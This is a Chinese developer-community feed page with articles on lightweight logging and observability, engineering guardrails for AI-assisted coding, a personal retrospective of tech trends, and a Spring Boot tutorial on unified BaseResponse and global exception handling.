技术交流
快来分享你的内容吧~
- 04-01 04:57·Java后端时代变得真的太快了,这才多少年查看全文午后茶:印象里08之后,到20前后。努力上进成为主流,逐渐达到最顶峰,甚至不努力会被看不起,有罪。精神疾病也完全不被重视,被认为纯心理障碍。要上个好大学,进个好工作,争取再创个业,走向人生巅峰。要干什么就一下干到退休,中间不能空,不能转行。疫情搞了一波,AI冲了一波,逐渐出现躺平流。精神疾病,猝死案例也越来越多。健康和幸福问题也逐渐被提起。似乎人生也终于允许有暂停了。高考没有往年的热度。北京这几年感觉人少18612分享
- 2025-10-17·后端
- APP的长登录,在后端是怎么去实现的?在前端要怎么去配合呢?问题描述APP的长登录,在后端是怎么去实现的?在前端要怎么去配合呢?背景信息现在的APP登录状态登录保持很久,这样的效果是怎么去实现的呢?现在常用的技术方案有哪些呢?...查看全文编程导航小智:长登录的实现方式长登录(Long Login)指的是用户登录状态可以保持较长时间的一种机制。在APP中,通常使用以下方式来实现长登录:1. 使用Token/JWT(JSON Web Token):在用户登录成功后,后端会生成一个Token,然后将Token返回给前端。前端将Token保存在本地,每次发送请求时,都在请求头中携带Token。后端根据Token的有效性判断用户的登录状态。Token通常
2024-12-18·外卖员在安全行业中,有一条约定俗成的规则:在安全比赛中,如果成功获取了计算器的控制权限并打开了其界面,就意味着这台计算机已经被攻破了。查看全文大铃铛Weslie:好干,写的太棒了!做成视频感觉能出4 5期,起个标题党感觉能吸引很多人hh44819分享
你的系统真的可靠吗?
你有没有想过一个问题:**系统上线之后,才是真正难点的开始**? 在系统还只是一个雏形的时候,没有历史技术债,没有脏数据,没有复杂的依赖关系,我们可以尽情选择自己喜欢的技术,有着极大的自由度。 但是系统一旦上线,就迎来了第一个约束——**业务不可中断**。 我们一切的改动,必须是向后兼容的。每一次故障,都是对用户信任的一次消耗。你的信任钱包里,还有几张钞票呢? > "$1000 中,改掉一个 bug 的时间只值 $1,但知道问题在哪,值 $999。" 也许你是在项目已经完成从 0-1 的时候,加入团队去完成从 1-10、从 10-100 的过程。对于历史的情况,我们是难以完全了解的——有哪些坑?历史的权衡有哪些?哪些地方没有收口? **系统对于我们来说,就是一个黑盒子。** 我们要想对它进行升级,首先就需要想办法去了解它。 --- ### 上游的数据可能是脏的,怎么办? 到系统观察,有个很重要的问题你可能没想过:**上游传给你的数据,可能是"脏"的**。 什么是脏数据呢?比如: - 字段缺失 - 格式不对 - 业务逻辑不符合你的预期 那怎么应对呢? 我见过一个挺好的设计是这样的: ```JSON { "from": "order", "input": {} } ``` 每个数据都带着它的来源。这样当系统出问题的时候,你就能快速定位:哦,原来是 order 服务传的数据有问题。不是我的问题,是上游的问题! **快速甩锅(呃不对,是快速定位问题)的能力,就是可观测性的一部分。** --- ### 下游访问频率很高,你敢随便改接口吗? 说完上游,再说说下游。 作为服务提供方,你是不是经常遇到这种情况:你的接口响应是这样的 ```json { "code": "5000", "msg": "设备不存在" } ``` 然后某天架构师说:"为了解决中文终端乱码问题,我们统一把 msg 改成英文吧。" 你啪一下就改了,然后上线... 咦?怎么有些下游调用方出问题了? 原来人家是这么用的: ```javascript if (msg === "设备不存在") { // 做一些特殊的错误处理 } ``` 啊这... msg 改了,逻辑就崩了。 **所以作为服务提供方,我们一定要保证接口向后兼容,不能随意变更响应格式。** 有时候你甚至不知道有谁在访问你,这就更头疼了。所以我在想:**下游的访问频率高,实际上是在提醒我们——变更要谨慎,兼容性要放在第一位。** 可以考虑给每个系统颁发一个 AccessKey,每次访问必须携带。这样当系统需要升级的时候,可以将改动点同步给下游,确认无误再升级,也就不粘锅了 --- ### 你真的需要 ELK 吗? 说到可观测性,或许我们能够立刻想到 ELK(ElasticSearch、Logstash、Kibana、Filebeat),或者再加上 Kafka。 是的没错,这些技术能够让我们构建出一个好的可观测性体系。 但是,这些技术栈带来便利的同时,也引入了新的复杂性: - 海量数据的存储 - 组件的稳定性 - 数据一致性和延迟 - 学习这套技术栈所投入的成本 > 也许当你成功搭建出这一套体系去解决问题的时候,用户已经流失了。 又或者,你只是说话权重不高的一名工程师,团队不会为你协调这些资源。**资源是与业务增长挂钩的。** 所以今天想聊聊:**如何打造一个极简的可观测性体系?** --- ### 系统架构设计,是克制的艺术 抛开华丽的技术名词之后,我们需要重新思考:**什么才是真正的可观测性?** 可以想象警察办案。办案不能靠某个人的主观说辞,而是要不断基于假设去验证,然后构建一段完整的证据链。 比如常见的:"你好,请问事发当晚9点你在做什么?谁来证明?人证、物证?" 所以关键是:**某个组件在某个时间点,做了什么?结果怎么样?** 这就是一个简易的事件模型: ```JSON { "actor": "order", // 谁 "timestamp": 1776420525400, // 什么时候 "action": "create-order" // 做了什么 } ``` 换到系统里,我们描述一个组件做的事情,其实就是一个 I/O 的过程: ```JSON { "actor": "order", "timestamp": 1776420525400, "action": "create-order", "input": {}, // 外部提供了什么 "output": {} // 组件交付了什么 } ``` 最后,为了描述一件被多个组件协同完成的事情,我们补充上链路 ID,对任务进行关联: ```JSON { "actor": "order", "timestamp": 1776420525400, "action": "create-order", "input": {}, "output": {}, "trace_id": "uuid" // 链路ID } ``` --- ### 记录日志这件事,到底该怎么考虑? 好,现在说回到日志。 我之前一直在思考:**加日志的代价是什么?** #### 磁盘压力 日志文件增长起来是真的恐怖。 你想啊,一个日活 10 万的系统,每个请求打一条日志,一秒钟就是 100+ 条日志。一天下来就是上千万条。 一个月呢?一年呢? - **存储成本**:假设一条日志 200 字节,1000 万条日志就是 2GB。一年下来就是 700+G。这还只是一个系统。 - **IO 压力**:频繁写入会导致磁盘 IO 升高,尤其是机械硬盘。 - **SSD 寿命**:企业级 SSD 贵,消费级 SSD 有写入寿命限制。 > "你以为加日志不花钱?存储是要钱的,运维是要钱的,到时候磁盘满了报警,你得半夜起来处理。" #### CPU 开销 很多人觉得日志就是"写个字符串",能有多少开销? 还真不少: - **序列化开销**:把对象序列化成 JSON 或者其他格式,CPU 得算吧? - **字符串拼接**:日志框架的 `{}` 占位符,每次拼接都会创建新字符串。 - **IO 阻塞**:同步日志写入会阻塞业务线程,影响接口响应时间。 - **GC 压力**:大量字符串对象会加重垃圾回收的负担。 > 💡 "你以为 logger.info('xxx') 是免费的?每一行日志,都是有成本的。" #### 网络开销 如果你的日志还要发送到远程服务器(比如 Kafka、Elasticsearch),那就还有网络开销: - **带宽占用**:海量日志会占用网络带宽 - **延迟增加**:日志传输会引入额外的延迟 - **序列化/反序列化**:数据在网络上传输前需要序列化,接收端需要反序列化 #### 成本考量 综合来看,日志的成本包括: | 成本类型 | 说明 | | -------- | ------------------ | | **存储成本** | 磁盘空间、备份、归档 | | **运维成本** | 日志清理、磁盘扩容、报警处理 | | **性能成本** | CPU 计算、IO 阻塞、GC 压力 | | **网络成本** | 带宽占用、传输延迟 | | **人员成本** | 日志分析和问题排查时间 | 所以日志不是你想加就能加的,**得有个策略**。 --- #### 那应该记什么呢? 我的想法是:**日志记录的应当是事实源,而非决策源。** 什么意思呢? | 事实源(应该记) | 决策源(不应该记) | | -------- | ---------- | | 用户登录时间 | 用户是好人 | | 订单金额 | 订单金额过高需审核 | | API 调用参数 | 参数校验失败原因判断 | 说白了,**决策是人做的,日志只提供证据链**。 你不能指望日志告诉你"这是一个异常订单",你只能指望日志告诉你"这个订单的金额是 100 万,时间是凌晨 3 点,调用 IP 是 xxx"。 --- #### 日志的权衡策略 说了这么多代价,那应该怎么权衡呢? **1. 根据环境调整日志级别** - **生产环境**:ERROR 和 WARN 为主,业务关键节点记录 INFO - **测试环境**:DEBUG 随便打,方便排查问题 - **预发环境**:根据问题需要,动态调整 **2. 异步日志 vs 同步日志** - 同步日志:可靠性高,但影响性能 - 异步日志:性能好,但可能丢失(机器宕机时) - 核心交易链路:用同步日志;一般业务:用异步日志 **3. 日志采样** - 高并发场景下,不可能记录每一条日志 - 可以按比例采样(比如 1/100),或者只采样异常请求 **4. 日志轮转** - 按大小轮转(1GB 一个文件) - 按时间轮转(每天一个文件) - 定期清理过期日志(比如保留 30 天) **5. 精简日志格式** - 避免记录大对象、大数组 - 只记录必要的字段 - 考虑使用二进制格式(更紧凑) > "加日志之前,先问自己三个问题:这个日志以后会看吗?这个日志能帮我定位问题吗?这个日志的价值,值得我付出这些成本吗?" --- #### 记日志的正确姿势 说了这么多,最后总结一下记日志的正确姿势: **1. 链路要完整** ```JSON { "trace_id": "abc123", "timestamp": "2024-01-01 10:00:00", "actor": "order-service", "action": "create-order", "input": {"user_id": 123, "amount": 100}, "output": {"order_id": "xxx", "status": "success"} } ``` **2.上下文要足够** ```JSON { "trace_id": "abc123", "user_id": 123, "order_id": "xxx", "action": "payment-callback", "status": "failed", "reason": "balance_insufficient", "balance": 50, "amount": 100 } ``` **3. 日志要记录堆栈** ```Java try { // 业务代码 } catch (Exception e) { logger.error("支付失败", Map.of( "order_id", orderId, "error", e.getMessage(), "stack", ExceptionUtils.getStackTrace(e) )); } ``` **4. 敏感信息要脱敏** ```JSON logger.info("用户登录成功", Map.of( "user_id", userId, "phone", phone.replaceAll("(\\d{3})\\d{4}(\\d{4})", "$1****$2") )); ``` --- ### 怎么形成一条完整证据链 光有日志还不够,还得能让日志串联起来。 比如一个请求过来,经过了 A 系统、B 系统、C 系统,最后出问题了。怎么把这个请求在三个系统里的日志串起来呢? 答案是:**trace\_id**。 同一个请求,所有日志都带着同一个 trace\_id,这样就能串起来了。 在 Java 里,通常用 **MDC (Mapped Diagnostic Context)** 来实现,基于 ThreadLocal 的线程隔离,很方便。 --- ### 思考问题的方法 最后想聊聊思考问题的方法。 我最大的感悟是:**不要太快出结论**。 正确的做法应该是: 1. 先收集事实 2. 再绘制证据链的地图 3. 逐步扩散 4. 当证据链闭环的时候,再出结论 如果你一开始就有了一个结论,然后带着结论去找证据,那很容易陷入**确认偏误**——只看到支持你结论的证据,忽略不支持的。 **证据链的方法,能保证我们客观地分析问题。** --- ### 发散一下 说到可观测性,其实业界有个经典的说法:**可观测性的三大支柱**: 1. **Logging** - 离散的事件记录 2. **Metrics** - 聚合的数值统计 3. **Tracing** - 请求在分布式系统中的完整路径 这三个结合起来,基本上就能覆盖大部分的可观测性场景了。 还有一些可以想的: - **错误处理分层**:网络层超时、应用层校验失败、数据层约束违反 - **降级与熔断**:当下游不可用时怎么办 - **容量规划**:基于日志分析接口调用频率、数据增长趋势
当代码不再稀缺,工程师真正稀缺的是什么
## 你以为 AI 写代码是提效?不,它是在制造新型技术债。 整个行业都在狂欢。Copilot 补全、Agent 生成、一句 prompt 出一个项目。每个人都在谈 AI Coding 的效率飞升,没人谈它的成本。 但事实是——你让 AI 写出来的每一行代码,都是一笔你尚未审计的债务。 代码从来不值钱。值钱的是对代码的理解、对边界的判断、对上下文的掌控。AI 可以生成代码,但它不理解你的系统为什么长成这样。它不知道三年前那个"临时方案"至今还在跑,是因为没人敢动。 **工具越强大,使用者的判断力就越关键。这不是悖论,这是生存法则。** ## 范式不是信仰,是权衡 现在 AI Coding 有三种主流姿势:Vibe、Plan、Spec。 Vibe,完全托管。你把任务丢给 Agent,祈祷它别搞砸。Plan,执行前先让 AI 出一份方案,你对齐后再动手。Spec,从边界设计到方案到任务拆解,每一步都需要人的介入。 没有银弹。说"我们团队全用 Vibe"的人,要么项目足够小,要么还没踩到坑。 | **方式** | **适用场景** | | --- | --- | | Vibe | Side-Project、小型 Bugfix、代码库分析——试错成本低的地方 | | Plan | 中型 Feature 开发——效率和可靠性的平衡点 | | Spec | 系统级复杂 Feature——白天设计边界,晚上让 Agent 跑,醒来验收 | 一个争议点:Spec 文档要不要提交到 Git? 支持提交的人说,团队可以 review Spec 而非代码,效率更高。反对的人说,Spec 的生命周期随 Task 结束而终止,提交只会增加仓库的熵。 我的判断:不提交。Spec 是过程产物,不是系统资产。保持简洁,别让工具反噬你。 **选择范式的标准只有一个:出了问题,你兜得住吗?** ## 注意力是 Agent 最稀缺的资源 我见过太多人犯同一个错误:把整个项目的上下文一股脑喂给 AI,觉得信息越多越好。 但事实是——什么都重要的时候,什么都不重要。长上下文导致 Agent 注意力分散,幻觉频发。你以为给了它全景图,它看到的却是一团噪声。 这不是 AI 的问题,是人的问题。你没有管理好它的认知边界。 **渐进式披露——给 AI 一张地图,而不是一整座城市。** 在根目录放一个 `AGENTS.md`,但不要把所有内容堆在里面。它应该是一份导航目录,指向不同子目录下的具体文档。让 Agent 按需加载上下文,聚焦注意力。 ```jsx # AGENTS.md (导航地图) 本文档提供智能体在代码库中导航的快速指南。 ## 快速开始 1. 阅读 docs/architecture.md 了解整体架构 2. 查看 docs/product-specs/ 了解业务需求 3. 遵循 ARCHITECTURE.md 中定义的分层规则 ## 常见任务 - 添加新功能:参考 docs/exec-plans/active/ - 修复bug:先检查 docs/quality-scores/ - 重构代码:遵循 docs/design-docs/core-beliefs.md ## 重要链接 - 架构规范:ARCHITECTURE.md - 设计原则:docs/design-docs/core-beliefs.md - 质量标准:docs/QUALITY_SCORE.md ``` **多 Agent 并行——用隔离换专注。** 还有一种解法:别让一个 Agent 干所有事。后端、前端、QA、Review、Analysis——一个 Agent 在这些角色之间不停切换,上下文断裂是必然的。把不同任务分配给不同 Agent,各司其职。 代价?工作空间共享带来的协作紊乱。解法是 `git worktree` 做物理隔离,同时靠有效的模块划分和职责边界来消解冲突。Qoder 的 Expert 专家模式,本质上也是这个思想。 **并行的前提不是工具,是你对系统边界的清晰认知。** ## 信任不是给的,是建的 这是 AI Coding 最大的悖论:AI 让执行成本暴跌,但我们在生产级项目中依然不敢放手用它。 原因只有两个字:不信任。 不信任的后果是什么?你让 AI 写了代码,然后花同样甚至更多的时间去做白盒审查。开发效率提升了,Review 成本也提升了。闸门告警了。这不叫提效,这叫把成本从左手倒到右手。 **解法不是信任 AI,而是建立一套让你不需要信任它的机制。** **在 CI 流程中强制拦截。** 不要指望 Agent 自觉。在 pipeline 上设卡,让 AI 先过自动化审查,再过人工闸门。审查标准不是"代码写得好不好",而是"风险能不能兜住"。 ```jsx --- inclution: auto name: code review description: 增量代码审查 --- # 代码审查(code review) ### 流程 1. 通过 git diff 识别代码变动点 2. 识别是否存在协议变更 3. 验证功能正确性与边界条件 4. 风险分级:high/medium/low,附兜底建议 5. 外部依赖 check list 6. 提供灰度/回滚建议 7. 检查监控/日志,编写故障预案 ``` 闸门只守两个东西:API 接口文档——限制问题不冒泡到上下游系统。数据模型——守住内部核心计算的边界。 **打通全链路闭环。** 设计 → 编码 → 评审 → 测试 → 验证 → 观测 → 修复。缺任何一环,AI 的代码就是薛定谔的代码——不跑起来,你永远不知道它是死是活。 给 AI 接入观测手段:后端日志写本地文件而非控制台,连接 Chrome DevTools,通过 REST API 接 Prometheus。把"验证"这个不确定性的环节,变成确定的。 > AI First:绝大多数确定性的问题,AI 都可以解决。但"确定性"三个字,是人定义的。 > **三次法则。** 同一个问题,AI 循环三次仍然解不掉,立刻让人介入。别跟 Agent 死磕。你的时间比 token 贵。 ## Doc GC:文档也是技术债 你给代码上了护轨,很好。但护轨本身也会腐烂。 每引入一份文档,系统的熵就增加一分。过时的 Spec、废弃的 ADR、三个月前的临时设计——它们不会自动消失,只会在仓库里安静地撒谎。Agent 读到过期文档,输出的代码就是基于谎言的代码。 **你需要一个专门做文档垃圾回收的 Agent——Doc GC。** 别等到文档烂成一片再搞大清洗。高频小规模的清理成本,远低于一次性大规模的重构。这和代码的道理一样:熵增是持续的,对抗它也必须是持续的。 ## 结语:工程师的终局不是写代码 AI 在加速。模型在进化。Agent 越来越强。 但工具越强大,越暴露一个事实:执行力从来不是稀缺资源。稀缺的是判断力和品味。 面对这个变局,工程师真正该做的只有三件事。 **设计环境。** 不要去微观管理 AI 的每一步操作,而是设计一个让它难以犯错的环境。护轨、闸门、闭环——这些才是你的杠杆。 **明确意图。** 模糊的指令产出模糊的代码。你对问题的定义越精确,AI 的输出就越可控。意图不清晰,再强的模型也救不了你。 **构建反馈回路。** 没有反馈的系统必然失控。从 CI 到观测到告警,每一个环节都是你对 AI 的约束力。 **技术只是入场券。真正决定你能走多远的,是你在不确定性面前做出正确权衡的能力。**
分享下我经过的时代变更和结果
### 大数据技术 大数据是未来业务的增长点,大数据hadoop是未来数据的发展,以后要处理PB级别的数据,数据进入了指数爆炸的阶段。 现状:hadoop逐渐被淘汰,依赖hadoop的生态日渐消沉。 ### 数据中台技术 大量公司开始拆分出数据中台,作为前端后端中不可或缺的一部分。 现状:拆个der,和大数据一起消沉了。 ### 工业4.0 鼓吹工业4.0即将到来,大量工人会被机器取代,下岗。到处都是机器人。 现状:工业4.0还没来,画的大饼基本上没实现。 ### 非关系型数据库大量抢占市场 大量反关系型数据库出现,有ES、hive等技术 现状:没有取代关系型数据库,成为了处理大数据的必要补充 ### java反序列化框架出现大量安全问题 java反序列化出现大量安全漏洞,能力备受质疑。 现状:基本没有人用java自带的反序列化,都使用jackJson。photobuf等反序列化框架。 ### java8横空出世,函数式编程成为一代新宠 java8引入了颠覆性的lamba表达式,还有函数式编程,大量公司表示,要使用lamba技术替代老旧的for循环。 现状:面试基本没有问lamba的 ### 越来越差的百度 百度表示,他想搞外卖。 百度表示,他想造车。 百度表示,他想搞AI。 ### undertow springboot同时引入tomcat和undertow,undertow被视为后起之秀,网上建议必须学习 结果:spring4取消对于undertow的支持。白学了。 ### fastJson和德鲁伊 阿里开源了fastJson和德鲁伊,要求替换jackJson。 结果:fastJson出现了非常严重的漏洞,反复升级,最后大部分项目禁用了低版本的fastJson,造成了很严重的浪费。 ### vue2升级到vue3 结果:vue2和vue3迁移并不平滑,大量开发者使用vue2语法开发vue3。 ### log4j2 apache开源了log4J2,引入了很多高级特性,导致大家使用了log4J2。 由于非常严重的反序列化事故,导致大家放弃了log4J2。 ### java 虚拟线程 java 21引入一个新特性虚拟线程,对标go。 大量java开发者欢欣鼓舞,面试题基本上必问虚拟线程。 结果:AI时代到来以后,大家都不怎么谈了。 ### mybatis plus 作为mybatis的增强版,被大量开发者讨论。导致了非常多次的论战。 ORM框架优劣被反复讨论。 结果:AI时代来临以后,大家都不怎么谈了。 ### springboot全家桶 由于spring生态日渐完善,大量第三方库被引入到spring生态中。作为实现DDD和微服务和核心步骤。 部分只需要单体架构就能解决的技术问题,被强行拆分为DDD。 结果:催生了大量使用DDD的小微企业。DDD毁誉参半。 ### springboot 安全 这个框架因为高度抽象、反复改动接口、大而全的特性,被一部分人认定为圭臬,被另外一部分人讨论为脱裤子放屁,网上大量论战。 结果:AI时代来临以后,都不怎么谈了。 ### 分库分表 mysql 由于底层逻辑设计,导致数据量500 - 2000W左右会出现页分裂。手工分库分表变成技术主流。 结果:成为面试八股文,分库分表成为体现技术力的核心实现。 ### 新创 为了应对国外数据库的风险,部分企业开始使用国产数据库。 结果: * 国产数据库一言难尽 ### web3 由于比特币的兴起,大量区块链技术成为主流技术选型。催生出了web3岗位。 结果: * 中国基本上没有web3岗位 ### python2升级python3 python2因为底层设计不合理,破坏性的升级到了python3 结果: * 大量python2的库仍然无法迁移 * 新增python3获得了很大的成功 ### python3去gil python不支持多线程,底层有gil导致非常严重的性能瓶颈 结果:python提出了无gil版本,争取在10年内实现无锁版本。 ### 美国禁用matlab 结果:中国还没有可以替代matlab的产品,仍然偷着用matlab进行数据仿真 ### 鸿蒙系统 华为发布鸿蒙系统,网友纷纷评论:必须学习鸿蒙,网上大量必须学鸿蒙,鸿蒙和苹果分庭抗礼。 结果:AI时代到来以后,见底。 ### 秒杀系统 几年前电商火热,网课中大量推销秒杀系统的软件,人均把搞定秒杀当作技术顶尖核心技术。 现状:AI在风口,没人谈了。 ### go语言 java由于自身的臃肿和特性,新出现的go语言大量抢占市场,市面上出现大量招聘java的go岗位,要求用go重写java业务。 现状:AI正在风口,没人谈了。 ### rust C和C++由于自身特性,新出现的rust以可靠抢占市场,要重构linux内核。 现状:linux重构工作量巨大,AI在风口,没人谈了。 ### 浏览器兼容性 大量浏览器需要适配IE和chrome。 结果:IE输了,大部分浏览器默认只兼容Chrome。放弃兼容IE。 ### 5G风波 由于美国制裁,华为无法生产5G芯片。大量5G基站拔地而起。 结果:5G推广突然戛然而止。 ### 技术力体现:健康码 由于疫情的蔓延,程序员加班几天做出了一个健康码。 * 每个省都有独立的健康码 * 出行都扫健康码 结果:疫情结束后,健康码直接放弃 ### 12306是世界上最NB的网站 网上有很多吹牛12306是世界上并发最高的网站。 结果:AI时代以来,对此的讨论少了恨多。 ### docker docker是go语言实现的,可以实现跨平台技术。 * docker统一全球 * go替代一切语言 结果:docker成为了DDD不可拆分的一部分,和springcloud竞争DDD解决方案。 K8s在docker基础上进行了服务编排,和springclod竞争DDD解决方案。 ### 元宇宙 凉了。 ### P2P 部分开发者进去了,最后暴雷了。 ### 造车风波 乐视造车,老板跑了 小米正在造车。 ### IPV6技术 IPV4严重不足,提出了IPV6,众多大厂纷纷接入,提出了给每一粒沙子都分配MAC地址。 基本上没有推广。 ### 低代码 开发一个低代码平台,通过不写代码/拖拽的方式,实现快速的开发。要干死传统的开发。 结果:没有干死传统的开发。 ### VR技术,头戴式头显 结果:基本上市场不认可 ### 微信小程序 微信小程序是开发必须会的技术。干死app。 结果:微信小程序市场占有量相对稳定,没有干死app。 ### 无人驾驶 无人驾驶要来了。 结果:现在还没有来。 ### 新能源汽车 结果:新能源汽车占据了中国汽车行业很大的分量。 ### 中国驱逐谷歌 由于谷歌地图的不当行为,中国驱逐谷歌地图,也禁用了谷歌网站。 结果:没有发生什么事情。 ### 无线充电技术 结果:充电太慢,被基本淘汰 ### 苹果手机 苹果拿出了苹果手机,推出了智能机的新时代。 大量诺基亚小灵通退出市场,智能机发展一步千里。 ### gpu挖矿 由于比特币的兴起,大量显卡被用于挖矿,很多人通过挖矿赚到钱。 出现了大量类似狗狗币的币种。 结果:中国禁用虚拟货币。 ### 中国股市起飞,从2700到4000 ### 黄金起飞,从400到1100 ### 稀土技术成为卡脖子的新技术 ### 苹果取消3.5mm耳机孔,万能充没有使用场景,type-c统一手机市场 ### 彩电价格连年下滑 ### 内存显卡价格暴增 ### 光纤替代了传统的铜线 ### 土木工程从香饽饽,变成没人去的垃圾专业 ### 放开计划生育,从生一个变成生两个,从生两个变成生三个 ### 生育率断崖式下滑 ### 美国次贷危机,影响全球经济 ### 大量国企因为资不抵债开始破产 ### 中国开始清理不环保的化工企业,还一个绿水青山 ### 万科暴雷 ### 阿富汗战争,两伊战争,还有这几天的霍尔木兹海峡 ### 中国大量修建高铁 ### 四万亿经济刺激计划,家电下乡,国补,生育补贴 ### 中国航母开始下水 ### 中国申奥成功
萍雨说-响应规范 1.0
在现代的开发规范当中 "BaseResponse 静态方法 + ErrorCode 枚举" 是更好的响应规范原则,但我还整理到哪里,所以就先把一部分 "老旧" 的笔记先发出来吧,后续会去聊 "BaseResponse 静态方法 + ErrorCode 枚举" 这个更好的响应规范原则,就这样,这是我的第一篇算是技术的笔记吧,这件事情想了很久了,就先很粗糙的开始吧 ps:这篇是有 AI 生成的成分在的,且比例蛮高的,主要是在 “没有设置全局异常处理器” 和 “模板” 部分,昨天刷知乎看到很多人在吐槽 AI 生成内容,但我对 AI 生成内容的观点是:我不是很在乎内容到底是谁生产的,我只在乎生产的内容是否对我有用,仅此一点 ### 1. 为什么需要 BaseResponse 这个问题其实也可以换个问法,就是 BaseResponse 的作用是什么,它的作用是规范后端返回给前端的数据格式,以保证前端所接受的数据格式是相同的,不能是千奇百怪的,这样可读性不好,会让前端感觉到很混乱 ### 2. BaseResponse 的固定数据格式是什么样子的 大概分为了下面的三个部分 - code-业务码——其实和状态码是差不多的,只不过相比状态码有更多的细分,比如 0 代表成功,40100 代表未登录,后面考虑更加详细的展开 - data-数据——我们真正的数据,比如一个 User 对象或者一个 Boolean - message-信息——这是给人看到的,一般就是中文或者英文,反正是人可以看得懂的 ==在我们的所有 Controller 层接口当中,返回值都应该是 BaseResponse< T >== ### 3. 为什么需要 ResultUtils 前面的 BaseResponse 是一个模板嘛,那么是谁来生产具体的信封内容呢?就是 ResultUtils 如果我们成功的话,就把需要的数据给寄过去 ResultUtils.success(data); 如果我们失败的话,就把需要的错误信息寄过去,包括给系统看的code 和给人看的 message ResultUtils.error(code, message); 这里有一个很关键的点,就是如果没有正常执行,出现的一些异常之类的,是我们主动捕获的,我们预见了一些情况的发生,然后去处理了这些情况,但是总有一些情况是我们无法预见到的,那么该如何处理这些没有预见到的异常呢?这就引出了我们的全局异常处理器——GlobalExceptionHander,下面就来介绍一下 ### 4. 全局异常处理器——GlobalExceptionHandler 它是一种兜底机制,用来处理那些我们没有预见和捕获的异常,比如 Service 和 Controller 中未被捕获的异常 举个例子,如果我们的 Service 层报出了一个 NullPointerException(空指针异常)的话,它会沿着 Service 层到 Controller 层,再通过 Controller 层到前端,因为这不是经过我们的 BaseResponse 模板规范的,所以就会出现我们在做 BaseResponse 时最不想看到的情况,就是让前端看到了各种数据格式不一的报错信息 GlobalExcepitionHandler 做的事情就是:守在 Controller 层的最外面,当有意料之外的异常尖叫着奔向 Controller 层的时候,GlobalExceptionHandler 就会立即把它给拦截下来,就不会进入 Controller 层,就更不会进入前端,影响秩序了 ### 6. 三者的关系是什么样子的 当我们的 GlobalExceptionHandler 在捕获到一个异常之后,就会立即调用 ResultUtils,让它根据异常的具体信息生成一份符合 BaseResponse 模板的法律文书交付给前端,这样前端就美滋滋了 下面具体来看一个例子哈 1. **你的代码 (Service):** Java ``` public void withdrawMoney(int amount) { if (amount > 1000) { // “主动”抛出一个业务异常 throw new BusinessException("取款金额过大"); } if (db.isOffline()) { // “被动”抛出一个运行时异常 throw new NullPointerException("数据库连接失败"); } } ``` 2. **你的全局异常处理器 (GlobalExceptionHandler):** Java ``` @RestControllerAdvice // (声明自己是“最高法院”) public class GlobalExceptionHandler { // (审理“业务异常”法庭) @ExceptionHandler(BusinessException.class) public BaseResponse handleBusinessException(BusinessException e) { log.warn("业务异常: {}", e.getMessage()); // 它在这里“调用”了 ResultUtils! return ResultUtils.error(40001, e.getMessage()); // e.g., "取款金额过大" } // (审理“运行时异常”法庭) @ExceptionHandler(RuntimeException.class) public BaseResponse handleRuntimeException(RuntimeException e) { log.error("系统运行时异常!", e); // (严重错误,要记录堆栈) // 它也“调用”了 ResultUtils! return ResultUtils.error(50000, "服务器开小差了,请稍后再试"); } ``` **总结一下:** - `BaseResponse`:是“**目标**”(我们要返回的东西)。 - `ResultUtils`:是“**工具**”(我们_主动_创建目标时用)。 - `GlobalExceptionHandler`:是“**保险**”(当_被动_出错时,它会来接管,并_使用_ `ResultUtils` 这个工具,来返回 `BaseResponse` 这个目标)。 ### 7. 如果我们没有设置全局异常处理器呢? 因为我有主意到前面有提到过说 ResultUtils 其实是一种对于所遇见情况的一种主动的采取举措,然后 GlobalExceptionHandler 是对于意料之外的异常的一种兜底,也就是说兜底是可以没有的,对吧?当然在实际的开发规范当中肯定是需要有兜底的,不能因为一个意料之外的异常就把整个系统搞崩了嘛,而且意料之外的异常是一定存在的 所以说如果没有设置全局异常处理器的话,只有 BaseResponse 和 ResultUtils 也是可以工作的,只是抗风险能力是很弱的,在实际调用中是什么样的呢?下面来举一个例子: **我们的“案犯”代码 (在 `UserService` 中):** Java ``` // 我们在 Service 里写了一个有潜在 BUG 的方法 public BaseResponse<String> getUsernameById(Long id) { // 1. 可预见的业务逻辑 if (id == 999) { // 这是一个“可预见的”失败,我们“主动”用 ResultUtils 处理 return ResultUtils.error(40400, "用户不存在"); } // 2. 意料之外的 BUG! if (id == 1) { User user = null; // 假设这里因为某个复杂逻辑,user 意外地变成了 null return ResultUtils.success(user.getUsername()); // <-- 这里将抛出 NullPointerException! } // 3. 正常流程 return ResultUtils.success("侦探张三"); } ``` **我们的 `Controller`:** Java ``` @GetMapping("/user/{id}/username") public BaseResponse<String> getUsername(@PathVariable Long id) { // Controller 只是一个“传声筒” return userService.getUsernameById(id); } ``` --- ### 案发现场 1:可预见的失败 (调用 `id = 999`) 1. 前端(浏览器)请求 `GET /user/999/username`。 2. `Controller` 调用 `Service`。 3. `Service` 执行到 `if (id == 999)`,条件成立。 4. `Service` **主动、优雅地**创建了一个“失败信封”:`return ResultUtils.error(40400, "用户不存在");`。 5. `Controller` 忠实地把这个“信封”原样返回给前端。 **前端(浏览器 F12 网络面板)看到的结果:** - **HTTP 状态码:** `200 OK` - **Response Body (JSON):** JSON ``` { "code": 40400, "data": null, "message": "用户不存在" } ``` - **系统状态:** **稳定。** 前端 App 拿到了 JSON,解析了 `code`,并向用户显示了“用户不存在”的提示。一切尽在掌控。 --- ### 案发现场 2:意料之外的异常 (调用 `id = 1`) 1. 前端请求 `GET /user/1/username`。 2. `Controller` 调用 `Service`。 3. `Service` 执行到 `if (id == 1)`,条件成立。 4. 代码尝试执行 `user.getUsername()`,但 `user` 是 `null`。 5. **“嘣!”** 一个 `NullPointerException`(空指针异常)“爆炸”了。 6. `Service` 层没有 `try...catch` 它。 7. 异常“尖叫”着被抛出 `Service` 层,回到了 `Controller`。 8. `Controller` 也没有 `try...catch` 它。 9. **因为没有 `GlobalExceptionHandler`(最高法院)来兜底**,这个“尖叫的异常”**直接冲出了 Spring Boot 应用**。 **前端(浏览器 F12 网络面板)看到的结果:** - **HTTP 状态码:** `500 Internal Server Error` - **Response Body (HTML):** HTML ``` <html> <body> <h1>Whitelabel Error Page</h1> <p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p> <hr/> <div> <div>Timestamp: Mon Nov 03 19:25:10 PST 2025</div> <div>Status: 500</div> <div>Error: Internal Server Error</div> <div> Message: java.lang.NullPointerException: Cannot invoke "com.pingyu.codematebackend.model.User.getUsername()" because "user" is null </div> <div>Path: /user/1/username</div> </div> </body> </html> ``` **系统状态:** **灾难。** 1. **前端崩溃:** 前端 App 期望收到一个 JSON,但它收到了一个 HTML。它的 JSON 解析器会当场失败,导致前端 App 